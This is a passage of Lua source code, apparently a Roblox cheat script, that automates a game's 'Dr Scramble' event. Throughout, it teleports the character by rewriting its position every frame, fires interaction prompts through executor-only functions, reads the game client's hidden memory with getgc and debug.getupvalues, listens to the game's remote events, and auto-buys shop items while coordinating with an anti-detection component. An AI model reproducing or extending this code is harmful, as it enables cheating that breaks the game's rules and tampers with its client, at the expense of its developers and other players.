or num and num2 and serverTimeNow >= num and serverTimeNow < num2
then
num2 = num2 and math.max(0, num2 - serverTimeNow)
num2 = num2 or nil
return true, num2
end
local num3 = tonumber(window.NextAt)
num3 = num3 and math.max(0, num3 - serverTimeNow)
num3 = num3 or nil
return false, num3
end
fn22 = function(arg, arg2)
local lostParts = type(arg) == "table" and arg.LostParts or nil
if type(lostParts) ~= "table" then
return false
end
if lostParts[arg2] then
return true
end
for _, lostPart in pairs(lostParts) do
if lostPart == arg2 then
return true
end
end
return false
end
fn23 = function(arg)
local n19 = 0
for _, v26 in ipairs(tbl15) do
if fn22(arg, v26) then
n19 = n19 + 1
end
end
return n19
end
local function fn36(arg)
local max = math.max
local floor = math.floor
local n19 = tonumber(arg) or 0
local v26 = max(0, floor(n19))
if v26 >= 3600 then
return string.format("%dh %dm", v26 // 3600, v26 % 3600 // 60)
end
return string.format("%dm %ds", v26 // 60, v26 % 60)
end
fn24 = function()
local v26 = fn19()
if not v26 then
return "Dr Scramble event is not running"
end
if not fn20() then
return "Dr Scramble event has ended"
end
local v27, v28 = fn21()
local str5
if v27 then
local v29 = fn36
local n19 = v28 or 0
str5 = "Outbreak live " .. v29(n19)
else
str5 = v27
end
str5 = str5 or v28 and "Outbreak in " .. fn36(v28) or "Outbreak soon"
local str6 = v26.Completed == true and "Vault claimed"
if not str6 then
local format = string.format
local v29 = fn23(v26)
local min = math.min
local n19 = tonumber(v26.DroneParts) or 0
str6 = format("Lost %d/2 Drone %d/3", v29, min(3, n19))
end
if v27 then
local n19 = 0
for _, v29 in pairs(tbl17) do
if (tonumber(v29.Health) or 0) > 0 then
n19 = n19 + 1
end
end
str5 = str5 .. string.format(" %d drones", n19)
end
local format = string.format
local n19 = tonumber(v26.Samples) or 0
local str7 = format("Samples %d - %s - %s", n19, str6, str5)
if str4 ~= "" and tbl4.Toggle(v23, false) then
str7 = str7 .. " - " .. str4
end
if str3 ~= "" then
str7 = str7 .. " - " .. str3
end
return str7
end
fn25 = function()
return tbl4.Root()
end
fn30 = function(arg, arg2, arg3, arg4)
local v26 = arg4 or n13
local v27 = fn25()
if not v27 then
return false
end
arg3 = arg3 or 1
if (v27.Position - arg).Magnitude <= arg3 then
return true
end
tbl4.Shield("scramble", true)
local n19 = os.clock() + 6
while not tbl4.Swapped() and os.clock() < n19 and not arg2() do
str3 = "Waiting for the character to settle"
RunService.Heartbeat:Wait()
end
local v28 = fn25()
if v28 then
v27 = v28
end
local character = localPlayer.Character
tbl4.Driving = tbl4.Driving + 1
local position = v27.Position
local flag6 = nil
local n20 = (arg - position).Magnitude / v26 + 3
local n21 = 0
local connection = RunService.Heartbeat:Connect(function(arg5)
if flag6 ~= nil or tbl4.AntiGuard.Busy then
return
end
n21 = n21 + arg5
local v29 = fn25()
if not v29 or arg2() or n21 > n20 or localPlayer.Character ~= character then
flag6 = false
return
end
if (v29.Position - position).Magnitude > 8 then
position = v29.Position
end
local n22 = arg - position
local n23 = v26 * arg5
local flag7 = n22.Magnitude <= math.max(n23, arg3)
local n24 = flag7 and arg or position + n22.Unit * n23
position = n24
local vector2 = Vector3.new(n22.X, 0, n22.Z)
local cframe = vector2.Magnitude > 0.05
and CFrame.lookAt(Vector3.new(0, 0, 0), vector2.Unit)
or v29.CFrame.Rotation
pcall(function()
v29.CFrame = CFrame.new(position) * cframe
v29.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v29.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
if flag7 then
flag6 = true
end
end)
while flag6 == nil do
RunService.Heartbeat:Wait()
end
connection:Disconnect()
tbl4.Driving = math.max(0, tbl4.Driving - 1)
tbl4.Shield("scramble", false)
return flag6
end
fn31 = function(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("ProximityPrompt") then
return false
end
local ok = pcall(function()
arg:InputHoldBegin()
local v26 = tonumber
local holdDuration = type(tbl4.PromptHold) == "function" and tbl4.PromptHold(arg)
or arg.HoldDuration
local n19 = v26(holdDuration) or 0
if 0 < n19 then
task.wait(n19 + 0.2)
end
arg:InputHoldEnd()
end)
if not ok and type(fireproximityprompt) == "function" then
ok = pcall(fireproximityprompt, arg)
end
return ok
end
local function fn37()
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("SecretZones")
world = world and world:FindFirstChild("Cave")
local v26 = world or nil
return v26
end
fn32 = function(arg)
local teleporter = fn37()
teleporter = teleporter and teleporter:FindFirstChild("Teleporter")
local secretZonePrompt = teleporter and teleporter:FindFirstChild(arg)
secretZonePrompt = secretZonePrompt
and secretZonePrompt:FindFirstChild("SecretZonePrompt", true)
local isProximityPrompt = secretZonePrompt and secretZonePrompt:IsA("ProximityPrompt")
if not isProximityPrompt then
secretZonePrompt = isProximityPrompt
end
secretZonePrompt = secretZonePrompt or nil
return secretZonePrompt
end
fn33 = function(arg, arg2)
arg = arg and arg.Parent
if arg and arg:IsA("Attachment") then
return arg.WorldPosition
end
if arg and arg:IsA("BasePart") then
return arg.Position
end
return arg2
end
fn34 = function()
local v26 = fn25()
if not v26 then
return false
end
local position = v26.Position
local vector2 = Vector3.new(position.X - vector.X, 0, position.Z - vector.Z)
local flag6 = position.Y < -60 and vector2.Magnitude < 160
return flag6
end
end
local fn35
local function fn36()
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("SeparationLine")
local x = world and world:IsA("BasePart") and world.Position.X or 552
return x
end
fn35 = function(arg)
if not arg then
local v26 = fn25()
arg = v26 and v26.Position
end
local flag6 = arg ~= nil and arg.X < fn36()
return flag6
end
local connection = localPlayer.CharacterAdded:Connect(function()
tbl4.ScrambleRespawned = true
tbl20.Tool = nil
tbl20.EquipAt = 0
end)
fn6(function()
pcall(function()
connection:Disconnect()
end)
end)
local fn37
fn37 = function(arg, arg2)
if not fn35() then
tbl4.ScrambleRespawned = false
return true
end
if arg2 and fn35(arg2) then
return true
end
local function fn38()
str3 = "Respawned, resting in the safe zone"
local n19 = os.clock() + 0.75
while os.clock() < n19 do
if arg() then
return false
end
task.wait(0.1)
end
tbl4.ScrambleRespawned = false
return true
end
local flag6 = type(tbl4.StealHome) == "function" and tbl4.StealHome() or nil
if not flag6 then
tbl4.ScrambleRespawned = false
return true
end
local flag7 = tbl4.ScrambleRespawned == true
if tbl4.DistanceTo(flag6) <= 12 then
if flag7 then
return (fn38())
end
return true
end
local str5 = flag7 and "Respawned, easing out through the safe zone"
or "Leaving the base through the safe zone"
str3 = str5
local v26 = fn30
local n19 = flag6 + Vector3.new(0, 3, 0)
local n20 = flag7 and math.min(n13, 300) or nil
local v27 = v26(n19, arg, 3, n20)
if not v27 then
flag7 = v27
end
if flag7 then
return (fn38())
end
return v27
end
local fn38, fn39
do
local function fn40(arg, arg2, arg3)
local v26 = fn25()
if not v26 then
return false
end
tbl4.Shield("scramblefly", true)
local position = v26.Position
local flag6 = true
if 250 < Vector3.new(arg.X - position.X, 0, arg.Z - position.Z).Magnitude then
local n19 = math.max(position.Y, arg.Y, 98)
flag6 = fn30(Vector3.new(position.X, n19, position.Z), arg2, 2)
and fn30(Vector3.new(arg.X, n19, arg.Z), arg2, 2)
end
flag6 = flag6 and fn30(arg, arg2, math.min(arg3, 2))
tbl4.Shield("scramblefly", false)
return flag6
end
local function fn41()
local flag6 = type(tbl4.StealHome) == "function" and tbl4.StealHome() or nil
if flag6 then
flag6 = flag6 + Vector3.new(0, 3, 0)
end
local v26 = flag6 or nil
return v26
end
fn38 = function(arg, arg2, arg3)
local n19 = arg3 or 6
if tbl4.DistanceTo(arg) <= n19 then
return true
end
local v26 = fn35()
local flag6 = fn35(arg)
if v26 and not flag6 then
if not fn37(arg2, arg) then
return false
end
else
flag6 = flag6 and not v26
if flag6 then
local v27 = fn41()
if v27 and (v27 - arg).Magnitude > 12 and tbl4.DistanceTo(v27) > 12 then
str3 = "Coming back through the safe zone"
if not fn40(v27, arg2, 3) then
return false
end
end
end
end
return fn40(arg, arg2, n19)
end
fn39 = function(arg)
if fn35() or arg() or tbl4.IsNight() or tbl4.WallSealed() then
return
end
local v26 = fn41()
if v26 then
str3 = "Coming back through the safe zone"
fn38(v26, arg, 4)
end
end
end
local fn40
fn40 = function(arg)
if fn34() then
return true
end
local Entry = fn32("Entry")
local v26 =
fn33(Entry, Vector3.new(2125.699951171875, 73.0999984741211, -295.3999938964844))
str3 = "Flying to the Secret Cave"
if not fn38(v26, arg, 6) then
return false
end
for i = 1, 4 do
if arg() then
return false
end
str3 = "Entering the Secret Cave"
fn31(Entry or fn32("Entry"))
local n19 = os.clock() + 1.5
while os.clock() < n19 and not fn34() do
RunService.Heartbeat:Wait()
end
if fn34() then
return true
end
end
str3 = "Cave door missed, flying in"
local quest = type(snapshot) == "table" and snapshot.Quest or nil
local position = type(quest) == "table"
and type(quest.EscapedExperiment) == "table"
and quest.EscapedExperiment.Position
or nil
if typeof(position) == "Vector3" then
pcall(tbl4.FlyTo, position, arg, "scramble")
end
return fn34()
end
local fn41, fn42, fn43
do
local function fn44(arg)
local quest = type(snapshot) == "table" and snapshot.Quest or nil
local flag6 = type(quest) == "table" and quest[arg] or nil
local position = type(flag6) == "table" and flag6.Position or nil
if typeof(position) == "Vector3" then
return position
end
local drScrambleEvent = workspace:FindFirstChild("DrScrambleEvent")
drScrambleEvent = drScrambleEvent and drScrambleEvent:FindFirstChild(arg)
if drScrambleEvent and drScrambleEvent:IsA("Model") then
return drScrambleEvent:GetPivot().Position
end
return nil
end
local function fn45(arg)
local v26 = snapshot
local interactions = type(v26) == "table" and v26.Interactions or nil
local max = math.max
local n19 = type(interactions) == "table" and tonumber(interactions[arg]) or 12
return max(4, n19 - 4)
end
fn41 = function(arg)
local v26 = fn19()
if not v26 or v26.Discovered == true then
return true
end
local EscapedExperiment = fn44("EscapedExperiment")
if not EscapedExperiment or not fn40(arg) then
return false
end
str3 = "Talking to the Escaped Experiment"
if not fn30(EscapedExperiment, arg, fn45("NpcRadius")) then
return false
end
local Discover = fn17("Discover")
fn18(true)
local flag6 = Discover ~= nil and fn19() ~= nil and fn19().Discovered == true
return flag6
end
fn42 = function(arg)
local v26 = fn19()
local flag6 = not v26 or v26.Completed == true
if not flag6 then
local n19 = #tbl15
flag6 = fn23(v26) >= n19
end
if flag6 then
return
end
if v26.Discovered ~= true and not fn41(arg) then
return
end
for _, v27 in ipairs(tbl15) do
if arg() then
return
end
if not fn22(fn19(), v27) then
local drScrambleEvent = workspace:FindFirstChild("DrScrambleEvent")
drScrambleEvent = drScrambleEvent and drScrambleEvent:FindFirstChild(v27)
drScrambleEvent = drScrambleEvent
and drScrambleEvent:FindFirstChild("Hitbox", true)
local claimLostPart = drScrambleEvent
and drScrambleEvent:FindFirstChild("ClaimLostPart", true)
local position = drScrambleEvent
and drScrambleEvent:IsA("BasePart")
and drScrambleEvent.Position
or fn44(v27)
if position then
local str5 = v27 == "LostPart1" and "Lost Part 1" or "Lost Part 2"
str3 = "Flying to " .. str5
if fn38(position + Vector3.new(0, 2, 0), arg, 3) then
str3 = "Collecting the lost part"
local n19 = position + Vector3.new(0, 2.5, 0)
local character = localPlayer.Character
tbl4.Shield("scramble", true)
tbl4.Driving = tbl4.Driving + 1
local connection2 = RunService.Heartbeat:Connect(function()
local v28 = tbl4.Root()
if
not v28
or v28.Parent ~= character
or tbl4.AntiGuard.Busy
or tbl4.Movement.Owner ~= "scramble"
then
return
end
pcall(function()
local rotation = v28.CFrame.Rotation
v28.CFrame = CFrame.new(n19) * rotation
v28.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v28.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end)
for i = 1, 4 do
if not arg() then
claimLostPart = claimLostPart
or drScrambleEvent
and drScrambleEvent:FindFirstChild(
"ClaimLostPart",
true
)
fn31(claimLostPart)
task.wait(0.6)
fn18(true)
if not fn22(fn19(), v27) then
continue
end
end
break
end
connection2:Disconnect()
tbl4.Driving = math.max(0, tbl4.Driving - 1)
tbl4.Shield("scramble", false)
if arg() then
return
end
continue
end
continue
end
continue
end
end
end
fn43 = function(arg)
local v26 = fn19()
if not v26 or v26.Completed == true then
return
end
local num = tonumber(v26.TotalParts)
if not num then
local v27 = fn23(v26)
local n19 = tonumber(v26.DroneParts) or 0
num = v27 + n19
end
if num < 5 then
return
end
local ExperimentVault = fn44("ExperimentVault")
if not ExperimentVault or not fn40(arg) then
return
end
str3 = "Opening the Experiment Vault"
if not fn30(ExperimentVault, arg, fn45("VaultRadius")) then
return
end
fn17("Vault")
fn18(true)
local flag6 = fn19()
flag6 = flag6 and flag6.Completed == true
if flag6 then
str3 = "Vault opened, The Scrambler unlocked"
end
end
end
fn26 = function()
local function fn44(arg)
if not arg or not arg:IsA("Tool") then
return false
end
if tostring(arg:GetAttribute("ItemType")) ~= "MutationConsumable" then
return false
end
local attribute = arg:GetAttribute("MutationId") or arg:GetAttribute("MutationTemplate")
if attribute ~= nil then
return tostring(attribute) == "Scrambled"
end
return string.find(string.lower(arg.Name), "scrambled", 1, true) ~= nil
end
local character = localPlayer.Character
if character then
for _, child in ipairs(character:GetChildren()) do
if fn44(child) then
return child, true
end
end
end
local backpack = localPlayer:FindFirstChildOfClass("Backpack")
if backpack then
for _, child in ipairs(backpack:GetChildren()) do
if fn44(child) then
return child, false
end
end
end
return nil, false
end
fn27 = function(arg, arg2)
local shopPurchases = type(arg) == "table" and arg.ShopPurchases or nil
local flag6 = type(shopPurchases) == "table" and shopPurchases[arg2.Id] or nil
if type(flag6) ~= "table" then
return 0
end
local shopPeriod = type(snapshot) == "table" and snapshot.ShopPeriod or nil
if flag6.Period ~= nil and shopPeriod ~= nil and flag6.Period ~= shopPeriod then
return 0
end
local n19 = tonumber(flag6.Count) or 0
return n19
end
fn28 = function(arg)
local v26 = fn18(true)
if type(v26) ~= "table" or type(v26.Shop) ~= "table" then
return
end
for _, v27 in ipairs(tbl23) do
if arg() then
return
end
if tbl19[v27.Label] == true then
for i = 1, 10 do
local v28 = snapshot
local v29 = fn19()
local v30 = ipairs
local shop = type(v28) == "table" and v28.Shop or {}
local v31 = nil
for _, v32 in v30(shop) do
if type(v32) == "table" and v32.Id == v27.Id then
v31 = v32
end
end
if not (not v31 or not v29 or arg()) then
local num = tonumber(v31.PurchaseLimit)
num = num and fn27(v29, v31) >= num
if not num then
local n19 = tonumber(v29.Samples) or 0
local huge = tonumber(v31.Price) or math.huge
if not (n19 - huge < n14) then
local v32 = fn17
local id = v31.Id
local tbl24 = { Quote = v31.Quote }
tbl24.Sequence = tonumber(v29.ShopSequence) or 0
local Shop = v32("Shop", id, tbl24)
if not (type(Shop) ~= "table" or Shop.Ok ~= true) then
str3 = "Bought " .. v27.Label
task.wait(0.4)
continue
end
end
end
end
break
end
end
end
end
local n19
n19 = 98
local n20
n20 = 12
local n21
n21 = 20
local n22
n22 = 3
local tbl24
tbl24 = {
Vector3.new(2000, 90, -360),
Vector3.new(2700, 90, -370),
Vector3.new(3400, 90, -365),
Vector3.new(4100, 90, -360),
Vector3.new(4800, 90, -370),
Vector3.new(5500, 90, -360),
Vector3.new(5900, 90, -365),
}
tbl22 = {}
local tbl25, tbl26, tbl27, tbl28, str5, v26, tbl29, str6, n23, n24
local n25, n26, fn44, fn45, fn46, fn47
do
local tbl30
tbl30 = { Link = nil, Goal = nil, Look = nil, Character = nil }
local fn48, fn49
do
local userId = localPlayer.UserId
tbl25 = {
{ Label = "Scrap Drone", Tier = "ScrapDrone" },
{ Label = "Reactor Drone", Tier = "ReactorDrone" },
{ Label = "Augmented Drone", Tier = "AugmentedDrone" },
}
tbl26 = {}
for _, v27 in ipairs(tbl25) do
local n27 = #tbl26 + 1
tbl26[n27] = v27.Label
end
tbl27 = { "Nearest", "Rare First", "Most HP First" }
tbl28 = { ScrapDrone = true, ReactorDrone = true, AugmentedDrone = true }
str5 = tbl27[1]
v26 = nil
tbl29 = { "Tween", "Teleport" }
str6 = tbl29[1]
n23 = 110
n24 = 1.5
n25 = 0
n26 = -math.huge
local function fn50(arg)
local num = type(arg) == "table" and tonumber(arg.OwnerUserId) or nil
local flag6 = num == nil or num == userId
return flag6
end
local function fn51(arg)
if typeof(arg) == "CFrame" then
return arg.Position
end
if typeof(arg) == "Vector3" then
return arg
end
return nil
end
local function fn52(arg, arg2)
local v27 = networking:FindFirstChild(arg)
if not v27 or not v27:IsA("RemoteEvent") then
return
end
local connection2 = v27.OnClientEvent:Connect(function(...)
pcall(arg2, ...)
end)
fn6(function()
pcall(function()
connection2:Disconnect()
end)
end)
end
fn52("RE/Scramble/Drones", function(arg)
if type(arg) ~= "table" then
return
end
local v27 = pairs
local upserts = type(arg.Upserts) == "table" and arg.Upserts or {}
for _, upsert in v27(upserts) do
if type(upsert) == "table" and upsert.Id ~= nil and fn50(upsert) then
local str7 = tostring(upsert.Id)
local attributes = type(upsert.Attributes) == "table" and upsert.Attributes
or {}
local tbl31 = tbl17[str7] or {}
tbl31.Id = str7
tbl31.Position = fn51(upsert.CFrame) or tbl31.Position
tbl31.Health = tonumber(upsert.Health) or tbl31.Health or 1
local v28 = tostring
local scrambleTier = attributes.ScrambleTier or tbl31.Tier or ""
tbl31.Tier = v28(scrambleTier)
local v29 = tostring
local scrambleArea = attributes.ScrambleArea or tbl31.Area or ""
tbl31.Area = v29(scrambleArea)
tbl31.Seen = os.clock()
tbl17[str7] = tbl31
end
end
local v28 = pairs
local removed = type(arg.Removed) == "table" and arg.Removed or {}
for k, v29 in v28(removed) do
local v30 = tbl17
local v31 = tostring
local flag6 = type(v29) == "string"
if not flag6 then
v29 = flag6
end
local v32 = v29 or k
v30[v31(v32)] = nil
end
end)
fn52("RE/Scramble/Effect", function(arg, arg2, arg3)
if arg ~= "Hit" or type(arg3) ~= "table" or arg3.DroneId == nil then
return
end
local v27 = tbl17[tostring(arg3.DroneId)]
if not v27 then
return
end
v27.Position = fn51(arg2) or v27.Position
local n27 = tonumber(v27.Health) or 1
local n28 = tonumber(arg3.Amount) or 1
v27.Health = n27 - n28
if
type(arg3.Motion) == "string" and string.find(arg3.Motion, '"Death"', 1, true)
then
v27.Health = 0
end
if v27.Health <= 0 then
tbl17[v27.Id] = nil
end
end)
fn52("RE/Scramble/Drops", function(arg)
local v27 = pairs
local flag6 = type(arg) == "table"
if not flag6 then
arg = flag6
end
arg = arg or {}
for _, v28 in v27(arg) do
if type(v28) == "table" and v28.Id ~= nil and fn50(v28) then
local v29 = fn51(v28.Position) or fn51(v28.Origin)
if v29 then
local v30 = tbl18
local str7 = tostring(v28.Id)
local tbl31 = { Position = v29 }
tbl31.Radius = tonumber(v28.Radius) or 6
tbl31.ExpiresAt = tonumber(v28.ExpiresAt)
tbl31.Kind = v28.Kind
v30[str7] = tbl31
end
end
end
end)
fn52("RE/Scramble/State", function(arg)
if type(arg) ~= "table" then
return
end
if arg.Patch == true and type(snapshot) == "table" then
for k, v27 in pairs(arg) do
if k ~= "Patch" then
snapshot[k] = v27
end
end
elseif type(arg.State) == "table" then
snapshot = arg
end
n15 = os.clock()
end)
fn52("RE/Scramble/RemoveDrops", function(arg)
local v27 = pairs
local flag6 = type(arg) == "table"
if not flag6 then
arg = flag6
end
arg = arg or {}
for k, v28 in v27(arg) do
local v29 = tbl18
local v30 = tostring
local flag7 = type(v28) == "string"
if not flag7 then
v28 = flag7
end
local v31 = v28 or k
v29[v30(v31)] = nil
end
end)
fn48 = function(arg)
local scrambleLocalVisuals = workspace:FindFirstChild("ScrambleLocalVisuals")
scrambleLocalVisuals = scrambleLocalVisuals
and scrambleLocalVisuals:FindFirstChild("PersonalDrone_" .. arg)
local v27 = scrambleLocalVisuals or nil
return v27
end
local v27 = nil
local n27 = 0
local function fn53()
local flag6 = v27
if v27 then
flag6 = next(v27) ~= nil
end
if flag6 then
return v27
end
v27 = nil
if os.clock() < n27 or type(getgc) ~= "function" or not fn21() then
return nil
end
n27 = os.clock() + 15
for _, v28 in ipairs(getgc(false)) do
if type(v28) == "function" and islclosure(v28) then
local ok, result = pcall(debug.info, v28, "s")
ok = ok and type(result) == "string"
ok = ok and string.find(result, "PersonalDrones", 1, true)
if ok then
local ok2, result2 = pcall(debug.getupvalues, v28)
local v29 = result2
if ok2 and type(v29) == "table" then
for _, v30 in pairs(v29) do
if type(v30) ~= "table" then
continue
end
local key, v31 = next(v30)
if
type(v31) == "table"
and v31.OwnerUserId ~= nil
and v31.CFrame ~= nil
then
v27 = v30
return v30
end
end
continue
end
continue
end
continue
end
end
return nil
end
local function fn54()
local v28 = fn53()
if not v28 then
return
end
for k, v29 in pairs(v28) do
if type(v29) == "table" and fn50(v29) then
local v30 = tostring
local id = v29.Id or k
local v31 = v30(id)
local attributes = type(v29.Attributes) == "table" and v29.Attributes or {}
local tbl31 = tbl17[v31]
local num = tonumber(v29.Health)
if not tbl31 then
tbl31 = { Id = v31 }
tbl31.Health = num or 1
tbl17[v31] = tbl31
elseif num then
local min = math.min
local num2 = tonumber(tbl31.Health) or num
tbl31.Health = min(num, num2)
end
tbl31.Position = fn51(v29.CFrame) or tbl31.Position
local v32 = tostring
local scrambleTier = attributes.ScrambleTier or tbl31.Tier or ""
tbl31.Tier = v32(scrambleTier)
local v33 = tostring
local scrambleArea = attributes.ScrambleArea or tbl31.Area or ""
tbl31.Area = v33(scrambleArea)
if attributes.DroneState == "Death" then
tbl31.Health = 0
end
end
end
for k in pairs(tbl17) do
if v28[k] == nil then
tbl17[k] = nil
end
end
end
fn49 = function()
pcall(fn54)
local scrambleLocalVisuals = workspace:FindFirstChild("ScrambleLocalVisuals")
if not scrambleLocalVisuals then
return
end
for _, child in ipairs(scrambleLocalVisuals:GetChildren()) do
local attribute = child:GetAttribute("ScrambleDroneId")
if
child:IsA("Model")
and attribute ~= nil
and string.sub(child.Name, 1, 14) == "PersonalDrone_"
then
local str7 = tostring(attribute)
if child:GetAttribute("DroneState") == "Death" then
tbl17[str7] = nil
elseif not tbl17[str7] then
local ok, result = pcall(child.GetPivot, child)
local v28 = tbl17
local tbl31 = { Id = str7 }
ok = ok and result.Position
ok = ok or nil
tbl31.Position = ok
tbl31.Health = tonumber(child:GetAttribute("Health")) or 1
local v29 = tostring
local attribute2 = child:GetAttribute("ScrambleTier") or ""
tbl31.Tier = v29(attribute2)
local v30 = tostring
local attribute3 = child:GetAttribute("ScrambleArea") or ""
tbl31.Area = v30(attribute3)
tbl31.Seen = os.clock()
v28[str7] = tbl31
end
end
end
end
end
local fn50
do
local function fn51(arg)
local v27 = fn48(arg.Id)
local hitbox = v27 and v27:FindFirstChild("Hitbox")
if hitbox and hitbox:IsA("BasePart") then
return hitbox.Position
end
if v27 and v27.PrimaryPart then
return v27.PrimaryPart.Position
end
return arg.Position
end
fn50 = function()
local tbl31 = {}
local now = os.clock()
for k, v27 in pairs(tbl17) do
local flag6 = v27.Tier == nil or v27.Tier == "" or tbl28[v27.Tier] == true
if flag6 then
flag6 = (tonumber(v27.Health) or 0) > 0
end
flag6 = flag6 and v27.Position
if flag6 then
flag6 = (tbl22[k] or 0) <= now
end
if flag6 then
local n27 = #tbl31 + 1
tbl31[n27] = v27
end
end
return tbl31
end
local function fn52()
local v27 = fn25()
if not v27 then
return nil
end
local huge = math.huge
local v28 = nil
for _, v29 in ipairs(fn50()) do
local magnitude = ((fn51(v29) or v29.Position) - v27.Position).Magnitude
local v30 = str5
if v30 == "Rare First" then
if v29.Tier == "AugmentedDrone" then
magnitude = magnitude - 200000
elseif v29.Tier == "ReactorDrone" then
magnitude = magnitude - 100000
end
elseif v30 == "Most HP First" then
local n27 = tonumber(v29.Health) or 0
magnitude = magnitude - n27 * 100000
end
if magnitude < huge then
huge = magnitude
v28 = v29
end
end
return v28
end
local function fn53()
local v27 = fn25()
if not v27 then
return nil, nil
end
local serverTimeNow = workspace:GetServerTimeNow()
local huge = math.huge
local v28 = nil
local v29 = nil
for k, v30 in pairs(tbl18) do
if v30.ExpiresAt and v30.ExpiresAt < serverTimeNow then
tbl18[k] = nil
else
local magnitude = (v30.Position - v27.Position).Magnitude
if v30.Kind == "Part" then
magnitude = magnitude - 100000
end
if magnitude < huge then
huge = magnitude
v28 = k
v29 = v30
end
end
end
return v28, v29
end
fn29 = function()
if not tbl30.Link then
if tbl30.SwapWait then
tbl30.SwapWait = nil
tbl4.Shield("scramble", false)
end
return
end
tbl30.Link:Disconnect()
local v27 = tbl30
local v28 = tbl30
local v29 = tbl30
tbl30.Link = nil
v27.Goal = nil
v28.Look = nil
v29.Character = nil
tbl4.Driving = math.max(0, tbl4.Driving - 1)
tbl4.Shield("scramble", false)
end
fn6(fn29)
local function fn54(arg, arg2)
local v27 = tbl30
tbl30.Goal = arg
v27.Look = arg2
local character = localPlayer.Character
if tbl30.Link and tbl30.Character ~= character then
fn29()
local v28 = tbl30
tbl30.Goal = arg
v28.Look = arg2
end
if tbl30.Link or not character then
return
end
if not tbl4.Swapped() then
tbl4.Shield("scramble", true)
local v28 = tbl30
v28.SwapWait = tbl30.SwapWait or os.clock() + 6
local swapWait = tbl30.SwapWait
if os.clock() < swapWait then
str3 = "Waiting for the character to settle"
return
end
end
if tbl30.SwapWait then
tbl30.SwapWait = nil
else
tbl4.Shield("scramble", true)
end
tbl30.Character = character
tbl4.Driving = tbl4.Driving + 1
tbl30.Link = RunService.Heartbeat:Connect(function(arg3)
local v28 = tbl4.Root()
local goal = tbl30.Goal
if
not v28
or not goal
or v28.Parent ~= tbl30.Character
or tbl4.AntiGuard.Busy
or tbl4.Movement.Owner ~= "scramble"
then
return
end
local position = v28.Position
local vector
if Vector3.new(goal.X - position.X, 0, goal.Z - position.Z).Magnitude > 250 then
local n27 = math.max(n19, goal.Y)
vector = position.Y < n27 - 2 and Vector3.new(position.X, n27, position.Z)
or Vector3.new(goal.X, n27, goal.Z)
else
vector = goal
end
local n27 = vector - position
local n28 = n13 * arg3
local flag6 = n27.Magnitude <= n28
if not flag6 then
vector = flag6
end
local n29 = vector or position + n27.Unit * n28
local look = tbl30.Look or goal
local vector2 = Vector3.new(look.X - n29.X, 0, look.Z - n29.Z)
local cframe = vector2.Magnitude > 0.05
and CFrame.lookAt(Vector3.new(0, 0, 0), vector2.Unit)
or v28.CFrame.Rotation
pcall(function()
v28.CFrame = CFrame.new(n29) * cframe
v28.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v28.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end)
end
local function fn55(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("Tool") then
return false
end
local attribute = arg:GetAttribute("GearName")
local gears = tbl.Gears
local directory = type(gears) == "table" and gears.Directory or nil
local flag6 = type(attribute) == "string"
and type(directory) == "table"
and directory[attribute]
or nil
local flag7 = type(flag6) == "table"
and (flag6.ToolController == "Slap" or flag6.SlapPower ~= nil)
return flag7
end
local function fn56(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("Tool") then
return false
end
if tostring(arg:GetAttribute("ItemType")) ~= "Gear" then
return false
end
local v27 = tostring
local attribute = arg:GetAttribute("GearName") or ""
local v28 = v27(attribute)
if v28 == "" then
return false
end
return string.find(string.lower(v28), "scrambler", 1, true) ~= nil
end
local function fn57()
return localPlayer.Character, localPlayer:FindFirstChildOfClass("Backpack")
end
local function fn58()
local v27 = tbl4.FindBat()
if v27 then
return v27
end
local v28, v29 = fn57()
for _, v30 in ipairs({ v28, v29 }) do
if v30 then
for _, child in ipairs(v30:GetChildren()) do
if fn55(child) or fn56(child) then
return child
end
end
continue
end
end
return nil
end
tbl20.Valid = function(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("Tool") then
return false
end
local v27 = tbl4.IsBatTool(arg) or fn55(arg) or fn56(arg)
return v27
end
tbl20.Owned = function(arg)
if typeof(arg) ~= "Instance" or not arg:IsA("Tool") then
return false
end
local v27, v28 = fn57()
local parent = arg.Parent
local flag6 = parent ~= nil and (parent == v27 or parent == v28)
return flag6
end
tbl20.Name = function(arg)
if fn56(arg) then
return "The Scrambler"
end
local v27 = tostring
local attribute = arg:GetAttribute("GearName") or arg.Name
return v27(attribute)
end
tbl20.Put = function(arg, arg2, arg3)
local equipAt = tbl20.EquipAt
if os.clock() - equipAt < 0.4 then
return false
end
tbl20.EquipAt = os.clock()
pcall(function()
arg2:EquipTool(arg)
end)
if arg.Parent ~= arg3 then
pcall(function()
arg.Parent = arg3
end)
end
return arg.Parent == arg3
end
local function fn59()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if not character or not humanoid or humanoid.Health <= 0 then
return nil, false
end
local tool = character:FindFirstChildWhichIsA("Tool")
if tool ~= nil and tbl20.Valid(tool) then
tbl20.Tool = tool
str4 = tbl20.Name(tool)
return tool, true
end
if not tbl20.Owned(tbl20.Tool) then
tbl20.Tool = fn58()
end
local tool2 = tbl20.Tool
if not tool2 then
str4 = ""
return nil, false
end
str4 = tbl20.Name(tool2)
tbl20.Put(tool2, humanoid, character)
return tool2, tool2.Parent == character
end
local function fn60()
local v27, v28 = fn59()
if not v27 then
v28 = v27
end
if v28 then
pcall(function()
v27:Deactivate()
v27:Activate()
end)
end
return v27 ~= nil
end
local function fn61(arg, arg2, arg3)
local now = os.clock()
local n27 = now + n22
while os.clock() < n27 and not arg() do
local v27, v28 = fn53()
local flag6 = not v28
local flag7
if flag6 then
flag7 = flag6
elseif arg2 then
local magnitude = (v28.Position - arg2).Magnitude
local n28 = arg3 or 40
flag7 = magnitude > n28
else
flag7 = arg2
end
if flag7 then
if arg2 and os.clock() - now < 1.2 then
task.wait(0.1)
continue
end
return
end
if fn35() and not fn35(v28.Position) then
fn29()
str3 = "Leaving the base through the safe zone"
